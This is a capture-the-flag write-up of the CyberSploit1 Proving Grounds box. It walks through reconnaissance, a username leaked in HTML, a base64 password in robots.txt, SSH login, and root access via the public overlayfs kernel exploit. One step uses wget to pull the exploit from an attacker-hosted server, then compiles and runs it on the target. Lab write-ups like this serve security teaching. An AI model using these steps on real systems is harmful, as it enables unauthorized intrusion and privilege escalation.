# CyberSploit1 Writeup - Proving Grounds

> Easy Linux box leaking a username in an HTML comment and a base64-encoded password in robots.txt, used to SSH in as itsskv, then escalating to root with the overlayfs kernel exploit on an outdated 3.13 kernel.

- **URL:** https://hackindex.io/writeups/cybersploit1
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Linux
- **Tags:** privilege-escalation, kernel-exploit, information-disclosure, base64
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 2 min read
- **Published:** 2026-10-06
- **Updated:** 2026-10-06

CyberSploit1 leaks a username in an HTML comment on the web server and a base64-encoded password in robots.txt. Those log in over SSH as a low-privileged user, and an outdated 3.13 kernel is escalated to root with the public overlayfs local privilege escalation exploit.

## Reconnaissance

### Nmap

Scan the target for open services.

```bash
sudo nmap $TARGET_IP
# PORT   STATE SERVICE
# 22/tcp open  ssh
# 80/tcp open  http
```

SSH on 22 and a web server on 80.

## Enumeration

### Username disclosure

Read the source of the default page on port 80.

```bash
curl http://$TARGET_IP
# <!doctype html>
# <html lang="en">
# ...
# <!--------------username:itsskv---------------------->
# </body>
# ...
```

This leaks the username `itsskv`.

### Password disclosure

Run `dirb` with the default wordlist and the non-recursive option.

```bash
dirb http://$TARGET_IP -r
# ---- Scanning URL: http://$TARGET_IP/ ----
# + http://$TARGET_IP/cgi-bin/ (CODE:403|SIZE:291)
# + http://$TARGET_IP/robots.txt (CODE:200|SIZE:79)
```

A `robots.txt` sits in the web root and holds a base64-encoded string.

```bash
curl http://$TARGET_IP/robots.txt
# Y3liZXJzcGxvaXR7eW91dHViZS5jb20vYy9jeWJlcnNwbG9pdH0=
```

Decode it to recover the password.

```bash
curl http://$TARGET_IP/robots.txt | base64 -d
# $ITSSKV_PASSWORD
```

## Exploitation

### SSH

The decoded string looks odd, but it works as the password for the discovered username.

```bash
ssh itsskv@$TARGET_IP
# itsskv@$TARGET_IP's password:
# itsskv@cybersploit-CTF:~$ id
# uid=1001(itsskv) gid=1001(itsskv) groups=1001(itsskv)
```

Authenticated as `itsskv`.

## Privilege Escalation

### Local enumeration

Start with the kernel version.

```bash
uname -a
# Linux cybersploit-CTF 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 i686 i386 GNU/Linux
```

Kernel 3.13.0 on a 32-bit Ubuntu is vulnerable to the overlayfs local privilege escalation, Exploit-DB 37292.

```bash
searchsploit "3.13.0"
# Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local ... | linux/local/37292.c
```

### Kernel exploit

Host the exploit source on the attacker machine with a simple HTTP server.

```bash
sudo python3 -m http.server 80
# Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
# $TARGET_IP - - [03/Sep/2020 11:57:51] "GET /37292.c HTTP/1.1" 200 -
```

Download, compile, and run it on the target.

```bash
cd /tmp
wget http://$ATTACKER_IP/37292.c
gcc 37292.c -o 37292
./37292
# spawning threads
# mount #1
# mount #2
# child threads done
# /etc/ld.so.preload created
# creating shared library
# # whoami
# root
```

The overlayfs exploit drops a root shell.

Related

## References

- [Exploit-DB 37292](https://www.exploit-db.com/exploits/37292) - Linux Kernel 3.13.0 < 3.19 overlayfs local privilege escalation.
- [CVE-2015-1328](https://nvd.nist.gov/vuln/detail/CVE-2015-1328) - overlayfs incorrect permission handling allowing local privilege escalation.